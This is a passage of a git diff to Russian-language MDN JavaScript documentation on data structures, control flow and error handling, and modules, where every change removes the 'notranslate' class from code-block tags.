style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>message <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> message<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">toString<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span> diff --git a/files/ru/web/javascript/data_structures/index.html b/files/ru/web/javascript/data_structures/index.html index 71eeb219ef..fee4fc9283 100644 --- a/files/ru/web/javascript/data_structures/index.html +++ b/files/ru/web/javascript/data_structures/index.html @@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Data_structures <p>JavaScript является <em>слабо типизированным</em> или <em>динамическим</em> языком. Это значит, что вам не нужно определять тип переменной заранее. Тип определится автоматически во время выполнения программы. Также это значит, что вы можете использовать одну переменную для хранения данных различных типов:</p> -<pre class="brush: js notranslate">var foo = 42; // сейчас foo типа Number +<pre class="brush: js">var foo = 42; // сейчас foo типа Number foo = "bar"; // а теперь foo типа String foo = true; // foo становится типа Boolean </pre> @@ -66,7 +66,7 @@ foo = true; // foo становится типа Boolean <p>Ноль в JavaScript имеет два представления: -0 и +0. («0» это синоним +0). На практике это имеет малозаметный эффект. Например, выражение <code>+0 === -0</code> является истинным. Однако, это может проявиться при делении на ноль:</p> -<pre class="brush: js notranslate"><code>> 42 / +0 +<pre class="brush: js"><code>> 42 / +0 Infinity > 42 / -0 -Infinity</code></pre> @@ -106,7 +106,7 @@ Infinity <p><code>BigInt</code><font><font> является встроенным объектом, который предоставляет способ представления целых чисел, которые больше 2 </font></font><sup><font><font>53</font></font></sup><font><font>, что является наибольшим числом, которое JavaScript может надёжно представить с помощью </font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="JavaScript-объект Number - это объект-оболочка, позволяющий работать с числовыми значениями. Объект Number создаётся с помощью конструктора Number (). Номер объекта типа примитива создаётся с помощью функции Number ().">Number</a></code><font><font> примитива.</font></font></p> -<pre class="brush: js notranslate"><code>> let bigInt = 19241924124n; +<pre class="brush: js"><code>> let bigInt = 19241924124n; > console.log(bigInt); 19241924124n > console.log(typeof bigInt); diff --git a/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html b/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html index 005a702243..4101047db0 100644 --- a/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html +++ b/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html @@ -24,13 +24,13 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling <p>Блок обычно используется с управляющими инструкциями (например, <code>if</code>, <code>for</code>, <code>while</code>).</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">while</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;"><</span> <span class="number token" style="color: #990055;">10</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{ </span>x<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">++</span><span class="punctuation token" style="color: #999999;">;</span><span class="punctuation token"> </span><span class="punctuation token" style="color: #999999;">}</span></code></pre> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">while</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;"><</span> <span class="number token" style="color: #990055;">10</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{ </span>x<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">++</span><span class="punctuation token" style="color: #999999;">;</span><span class="punctuation token"> </span><span class="punctuation token" style="color: #999999;">}</span></code></pre> <p>В вышеприведённом примере <code>{ x++; }</code> является блоком.</p> <p><strong>Обратите внимание:</strong> в JavaScript <strong>отсутствует</strong> область видимости блока до ECMAScript2015. Переменные, объявленные внутри блока, имеют область видимости функции (или скрипта), в которой находится данный блок, вследствие чего они сохранят свои значения при выходе за пределы блока. Другими словами, блок не создаёт новую область видимости. "Автономные" (standalone) блоки в JavaScript могут продуцировать полностью отличающийся результат, от результата в языках C или Java. Например:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">1</span><span class="punctuation token" style="color: #999999;">;</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">1</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">{ </span><span class="keyword token" style="color: #0077aa;">var</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">2</span><span class="punctuation token" style="color: #999999;">; </span><span class="punctuation token" style="color: #999999;">}</span> @@ -48,7 +48,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <p>Используйте оператор <code>if</code> для выполнения инструкции, если логическое условия истинно. Используйте опциональный <code>else</code>, для выполнения инструкции, если условие ложно. Оператор if выглядит так:</p> -<pre class="brush: js notranslate">if (condition) { +<pre class="brush: js">if (condition) { statement_1; } else { statement_2; @@ -58,7 +58,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <p>Также вы можете объединить несколько инструкций, пользуясь <code>else if</code> для получения последовательности проверок условий:</p> -<pre class="syntaxbox notranslate">if (condition_1) { statement_1;} else if (condition_2) { statement_2;} else if (condition_n) { statement_n; } else { statement_last;}</pre> +<pre class="syntaxbox">if (condition_1) { statement_1;} else if (condition_2) { statement_2;} else if (condition_n) { statement_n; } else { statement_last;}</pre> <p>В случае нескольких условий только первое логическое условие, которое вычислится истинным (true), будет выполнено. Используйте блок ( <code>{ ... }</code> ) для группировки нескольких инструкций. Применение блоков является хорошей практикой, особенно когда используются вложенные инструкции <code>if</code>:</p> @@ -72,12 +72,12 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <p>Нежелательно использовать простые присваивания в условном выражении, т.к. присваивание может быть спутано с равенством при быстром просмотре кода. Например, не используйте следующий код:</p> -<pre class="brush: js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; background-color: rgb(255, 255, 255);"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> y<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">/* ... */</span><span class="comment token"> </span><span class="punctuation token" style="color: #999999;">}</span> +<pre class="brush: js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; background-color: rgb(255, 255, 255);"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> y<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">/* ... */</span><span class="comment token"> </span><span class="punctuation token" style="color: #999999;">}</span> </code></pre> <p>Если вам нужно использовать присваивание в условном выражении, то распространённой практикой является заключение операции присваивания в дополнительные скобки. Например:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">( </span><span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> y<span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">/* ... */</span><span class="comment token"> </span><span class="punctuation token" style="color: #999999;">}</span></code></pre> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">( </span><span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> y<span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">/* ... */</span><span class="comment token"> </span><span class="punctuation token" style="color: #999999;">}</span></code></pre> <h4 id="Ложные_значения">Ложные значения</h4> @@ -96,14 +96,14 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <p>Не путайте примитивные логические значения <code>true</code> и <code>false</code> со значениями true и false объекта {{jsxref("Boolean")}}. Например:</p> -<pre class="brush: js notranslate">var b = new Boolean(false); +<pre class="brush: js">var b = new Boolean(false); if (b) // это условие true if (b == true) // это условие false </pre> <p>В следующем примере функция <code>checkData</code> возвращает <code>true</code>, если число символов в объекте <code>Text</code> равно трём; в противном случае функция отображает окно alert и возвращает <code>false</code>.</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">checkData<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">checkData<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>document<span class="punctuation token" style="color: #999999;">.</span>form1<span class="punctuation token" style="color: #999999;">.</span>threeChar<span class="punctuation token" style="color: #999999;">.</span>value<span class="punctuation token" style="color: #999999;">.</span>length <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">==</span> <span class="number token" style="color: #990055;">3</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">return</span> <span class="keyword token" style="color: #0077aa;">true</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">else</span> <span class="punctuation token" style="color: #999999;">{</span> @@ -117,7 +117,7 @@ if (b == true) // это условие false <p>Инструкция <code>switch</code> позволяет сравнить значение выражения с различными вариантами и при совпадении выполнить соответствующий код. Инструкция имеет следующий вид:</p> -<pre class="notranslate">switch (expression) { +<pre>switch (expression) { case label_1: statements_1 [break;] @@ -137,7 +137,7 @@ if (b == true) // это условие false <p>В следующем примере если <code>fruittype</code> имеет значение <code>"Bananas"</code>, то будет выведено сообщение<code> "Bananas are $0.48 a pound."</code> и оператор <code>break</code> прекратит выполнение <code>switch</code>. Если бы оператор <code>break</code> отсутствовал, то был бы также выполнен код, соответствующий ветви <code>"Cherries"</code>, т.е. выведено сообщение <code>"Cherries are $3.00 a pound."</code>.</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">switch</span> <span class="punctuation token" style="color: #999999;">(</span>fruittype<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">switch</span> <span class="punctuation token" style="color: #999999;">(</span>fruittype<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">case</span> <span class="string token" style="color: #669900;">"Oranges"</span><span class="punctuation token" style="color: #999999;">:</span> console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">"Oranges are $0.59 a pound."</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> <span class="keyword token" style="color: #0077aa;">break</span><span class="punctuation token" style="color: #999999;">;</span> @@ -182,7 +182,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <p>Вы можете выбросить любое выражение, а не только выражения определённого типа. В следующем примере выбрасываются исключения различных типов:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"Error2"</span><span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // string +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"Error2"</span><span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // string </span><span class="keyword token" style="color: #0077aa;">throw</span> <span class="number token" style="color: #990055;">42</span><span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // number </span><span class="keyword token" style="color: #0077aa;">throw</span> <span class="keyword token" style="color: #0077aa;">true</span><span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // boolean </span><span class="keyword token" style="color: #0077aa;">throw</span> <span class="punctuation token" style="color: #999999;">{ </span>toString<span class="punctuation token" style="color: #999999;">:</span> <span class="keyword token" style="color: #0077aa;">function</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">return</span> <span class="string token" style="color: #669900;">"I'm an object!"</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span> <span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// object</span></code></pre> @@ -191,7 +191,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <p class="note">В следующем примере объект <code>UserException</code> выбрасывается как исключение:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> UserException <span class="punctuation token" style="color: #999999;">(</span>message<span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> UserException <span class="punctuation token" style="color: #999999;">(</span>message<span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>message <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">= </span>message<span class="punctuation token" style="color: #999999;">;</span> <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>name <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">= </span><span class="string token" style="color: #669900;">"UserException"</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span> @@ -208,7 +208,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <p>В следующем примере вызывается функция <code>getMonthName</code>, которая возвращает название месяца по его номеру. Если месяца с указанным номером не существует, то функция выбросит исключение <code>"InvalidMonthNo"</code>, которое будет перехвачено в блоке <code>catch</code>:</p> -<pre class="brush: js notranslate">function getMonthName(mo) { +<pre class="brush: js">function getMonthName(mo) { mo = mo - 1; // Adjust month number for array index (1 = Jan, 12 = Dec) var months = ["Jan","Feb","Mar","Apr","May","Jun","Jul", "Aug","Sep","Oct","Nov","Dec"]; @@ -239,7 +239,7 @@ catch (e) { <p>В следующем примере выбрасывается исключение, которое перехватывается в блоке <code>catch</code>:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">try</span> <span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">try</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"myException"</span><span class="comment token" style="color: #708090;"> </span><span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token"> </span><span class="keyword token" style="color: #0077aa;">catch</span> <span class="punctuation token" style="color: #999999;">(</span><span class="class-name token">e</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{ </span></code><code class="language-js" style="direction: ltr; white-space: pre;">console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">error<span class="punctuation token" style="color: #999999;">(</span></span>e<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;"> @@ -251,7 +251,7 @@ catch (e) { <p>В следующем примере открывается файл, затем в блоке <code>try</code> происходит вызов функции <code>writeMyFile</code>, который может выбросить исключение. Если возникает исключение, то оно обрабатывается в блоке <code>catch</code>. В любом случае файл будет закрыт функцией <code>closeMyFile</code>, вызов которой находится в блоке <code>finally</code>.</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="function token" style="color: #dd4a68;">openMyFile<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="function token" style="color: #dd4a68;">openMyFile<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> <span class="keyword token" style="color: #0077aa;">try</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="function token" style="color: #dd4a68;">writeMyFile<span class="punctuation token" style="color: #999999;">(</span></span>theData<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> </span><span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">catch</span><span class="punctuation token" style="color: #999999;">(</span>e<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> @@ -262,7 +262,7 @@ catch (e) { <p>Если блок <code>finally</code> возвращает значение, то данное значение становится возвращаемым значением всей связки <code>try-catch-finally</code>. Значения, возвращаемые блоками <code>try</code> и <code>catch</code>, будут проигнорированы.</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">f<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">f<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">try</span> <span class="punctuation token" style="color: #999999;">{</span> console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="number token" style="color: #990055;">0</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> <span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"bogus"</span><span class="punctuation token" style="color: #999999;">;</span> @@ -282,7 +282,7 @@ catch (e) { <p>Замена возвращаемых значений блоком <code>finally</code> распространяется в том числе и на исключения, которые выбрасываются или перевыбрасываются в блоке <code>catch</code>:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">f<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">f<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">try</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"bogus"</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">catch</span><span class="punctuation token" style="color: #999999;">(</span>e<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> @@ -314,7 +314,7 @@ catch (e) { <p>Если вы выбрасываете собственные исключения, то чтобы получить преимущество, которое предоставляют эти свойства (например, если ваш блок <code>catch</code> не делает различий между вашими исключениями и системными), используйте конструктор <code>Error</code>. Например:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> doSomethingErrorProne <span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> doSomethingErrorProne <span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">( </span><span class="function token" style="color: #dd4a68;">ourCodeMakesAMistake<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">throw</span> <span class="punctuation token" style="color: #999999;">( </span><span class="keyword token" style="color: #0077aa;">new</span> <span class="class-name token">Error</span><span class="punctuation token" style="color: #999999;">(</span><span class="string token" style="color: #669900;">'The message'</span><span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">else</span> <span class="punctuation token" style="color: #999999;">{</span> @@ -348,7 +348,7 @@ catch (e) { <p>Простой пример использования объектов <code>Promise</code> и <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> для загрузки изображения доступен в репозитории MDN <a href="https://github.com/mdn/js-examples/tree/master/promises-test">promise-test</a> на GitHub. Вы также можете <a href="https://mdn.github.io/js-examples/promises-test/">посмотреть его в действии</a>. Каждый шаг прокомментирован, что позволяет вам разобраться в архитектуре <code>Promise</code> и XHR. Здесь приводится версия без комментариев:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">imgLoad<span class="punctuation token" style="color: #999999;">(</span></span>url<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">imgLoad<span class="punctuation token" style="color: #999999;">(</span></span>url<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">return</span> <span class="keyword token" style="color: #0077aa;">new</span> <span class="class-name token">Promise</span><span class="punctuation token" style="color: #999999;">(</span><span class="keyword token" style="color: #0077aa;">function</span><span class="punctuation token" style="color: #999999;">(</span>resolve<span class="punctuation token" style="color: #999999;">,</span> reject<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">var</span> request <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="keyword token" style="color: #0077aa;">new</span> <span class="class-name token">XMLHttpRequest</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> request<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">open<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'GET'</span><span class="punctuation token" style="color: #999999;">,</span> url<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> diff --git a/files/ru/web/javascript/guide/modules/index.html b/files/ru/web/javascript/guide/modules/index.html index 8bf2b4af9c..8416503814 100644 --- a/files/ru/web/javascript/guide/modules/index.html +++ b/files/ru/web/javascript/guide/modules/index.html @@ -43,7 +43,7 @@ translation_of: Web/JavaScript/Guide/Modules <p>В первом примере (см. директорию <a href="https://github.com/mdn/js-examples/tree/master/modules/basic-modules">basic-modules</a>) у нас следующая структура файлов:</p> -<pre class="notranslate">index.html +<pre>index.html main.js modules/ canvas.js @@ -106,7 +106,7 @@ modules/ <p>Самый простой способ использовать экспорт — поместить конструкцию <code>export</code> перед любыми элементами, которые вы хотите экспортировать из модуля, например:</p> -<pre class="brush: js; notranslate">export const name = 'square'; +<pre class="brush: js;">export const name = 'square'; export function draw(ctx, length, x, y, color) { ctx.fillStyle = color; @@ -125,13 +125,13 @@ export function draw(ctx, length, x, y, color) { <p>Более удобный способ экспорта всех элементов, которые вы хотите экспортировать,— использовать одну конструкцию <code>export</code> в конце файла модуля, где указать переменные, функции, классы, который вы хотите экспортировать, через запятую в фигурных скобках. Например:</p> -<pre class="brush: js; notranslate">export { name, draw, reportArea, reportPerimeter };</pre> +<pre class="brush: js;">export { name, draw, reportArea, reportPerimeter };</pre> <h2 id="Импорт_функционала_в_ваш_скрипт">Импорт функционала в ваш скрипт</h2> <p>После того, как вы экспортировали некоторые функции из своего модуля, вам необходимо импортировать их в свой скрипт, чтобы иметь возможность использовать их. Самый простой способ сделать это:</p> -<pre class="brush: js; notranslate">import { name, draw, reportArea, reportPerimeter } from './modules/square.js';</pre> +<pre class="brush: js;">import { name, draw, reportArea, reportPerimeter } from './modules/square.js';</pre> <p>Используйте конструкцию {{JSxRef("Statements/import", "import")}}, за которой следует разделенный запятыми список функций, которые вы хотите импортировать, заключённый в фигурные скобки, за которым следует ключевое слово from, за которым следует путь к файлу модуля — путь относительно корня сайта, который для нашего примера <code>basic-modules</code> будет равен <code>/js-examples/modules/basic-modules</code>.</p> @@ -140,11 +140,11 @@ export function draw(ctx, length, x, y, color) { <p>Так например:</p> -<pre class="notranslate">/js-examples/modules/basic-modules/modules/square.js</pre> +<pre>/js-examples/modules/basic-modules/modules/square.js</pre> <p>становится</p> 